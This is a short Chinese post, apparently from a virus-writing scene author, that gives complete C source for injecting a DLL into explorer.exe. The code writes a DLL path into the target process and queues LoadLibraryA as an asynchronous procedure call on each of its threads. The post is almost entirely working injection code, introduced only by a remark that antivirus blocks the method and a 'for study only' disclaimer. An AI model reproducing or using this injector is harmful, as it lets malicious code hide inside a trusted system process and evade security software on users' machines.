思路来自PJF的文章，这种DLL注入方式貌似在恶意软件中使用的比较少，但是AVSOFT也封的比较早~仅供学习。
参考资料：http://blog.csdn.net/wuna66320/archive/2006/09/01/1155348.aspx
#define _WIN32_WINNT 0x0400

#define WIN32_LEAN_AND_MEAN   // 从 Windows 头中排除极少使用的资料
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <Tlhelp32.h>

//
// coded by robinh00d[VX Z0NE]
// Email:robinh00d_at_qq_dot_com
// 向指定进程的线程里插入APC实现DLL注入
//思路来自PJF的老文
//
typedef struct _TIDLIST
{
DWORD dwTid ;
_TIDLIST *pNext ;
}TIDLIST;

DWORD EnumThread(HANDLE hProcess, TIDLIST *pThreadIdList)
{
TIDLIST *pCurrentTid = pThreadIdList ;

const char szInjectModName[] = "c:\\test.dll" ;
DWORD dwLen = strlen(szInjectModName) ;

PVOID param = VirtualAllocEx(hProcess, \
         NULL, dwLen, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE) ;

if (param != NULL)
{
   DWORD dwRet ;
   if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
   {

    while (pCurrentTid)
    {
     HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;

     if (hThread != NULL)
     {
      //
      // 注入DLL到指定进程
      //
      QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;
     }

     printf("TID:%d\n", pCurrentTid->dwTid) ;
     pCurrentTid = pCurrentTid->pNext ;
    }
   }
}
return 0 ;
}

DWORD GetProcID(const char *szProcessName)
{
PROCESSENTRY32 pe32 = {0} ;
pe32.dwSize = sizeof(PROCESSENTRY32);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) ;

if (hSnapshot == INVALID_HANDLE_VALUE)
{
   return 0xFFFFFFFF ;
}

if (!Process32First(hSnapshot, &pe32))
{
   return 0xFFFFFFFF ;
}

do
{
   if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
   {
    printf("%s的PID是:%d\n", pe32.szExeFile, pe32.th32ProcessID);
    return pe32.th32ProcessID ;
   }
} while(Process32Next(hSnapshot, &pe32));

return 0xFFFFFFFF ;

}

TIDLIST* InsertTid(TIDLIST *pdwTidListHead, DWORD dwTid)
{
TIDLIST *pCurrent = NULL ;
TIDLIST *pNewMember = NULL ;

if (pdwTidListHead == NULL)
{
   return NULL ;
}
pCurrent = pdwTidListHead ;

while (pCurrent != NULL)
{
  
   if (pCurrent->pNext == NULL)
   {
    //
    // 定位到链表最后一个元素
    //
    pNewMember = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

    if (pNewMember != NULL)
    {
     pNewMember->dwTid = dwTid ;
     pNewMember->pNext = NULL ;
     pCurrent->pNext = pNewMember ;
     return pNewMember ;
    }
    else
    {
     return NULL ;
    }
   }
   pCurrent = pCurrent->pNext ;
}

return NULL ;
}

int EnumThreadID(DWORD dwPID, TIDLIST *pdwTidList)
{
int i = 0 ;

THREADENTRY32 te32 = {0} ;
te32.dwSize= sizeof(THREADENTRY32) ;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,dwPID) ;

if(hSnapshot != INVALID_HANDLE_VALUE)
{
   if(Thread32First(hSnapshot,&te32))
   {
    do
    {
     if(te32.th32OwnerProcessID==dwPID)
     {
      if (pdwTidList->dwTid == 0)
      {
       pdwTidList->dwTid = te32.th32ThreadID ;
      }
      else
      {
       if (NULL == InsertTid(pdwTidList, te32.th32ThreadID))
       {
        printf("插入失败!\n") ;
        return 0 ;
       }
      }
     
     }
    }while(Thread32Next(hSnapshot,&te32));
   }
}
return 1 ;
}

int main(int argc, char* argv[])
{
TIDLIST *pTidHead = (TIDLIST *)malloc(sizeof(TIDLIST)) ;

if (pTidHead == NULL)
{
   return 1 ;
}
RtlZeroMemory(pTidHead, sizeof(TIDLIST)) ;

DWORD dwPID = 0 ;

if ((dwPID = GetProcID("explorer.exe")) == 0xFFFFFFFF)
{
   printf("进程ID获取失败!\n") ;
   return 1 ;
}

//
// 枚举线程ID
//
EnumThreadID(dwPID, pTidHead) ;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID) ;

if (hProcess == NULL)
{
   return 1 ;
}
EnumThread(hProcess, pTidHead) ;

return 0;
}

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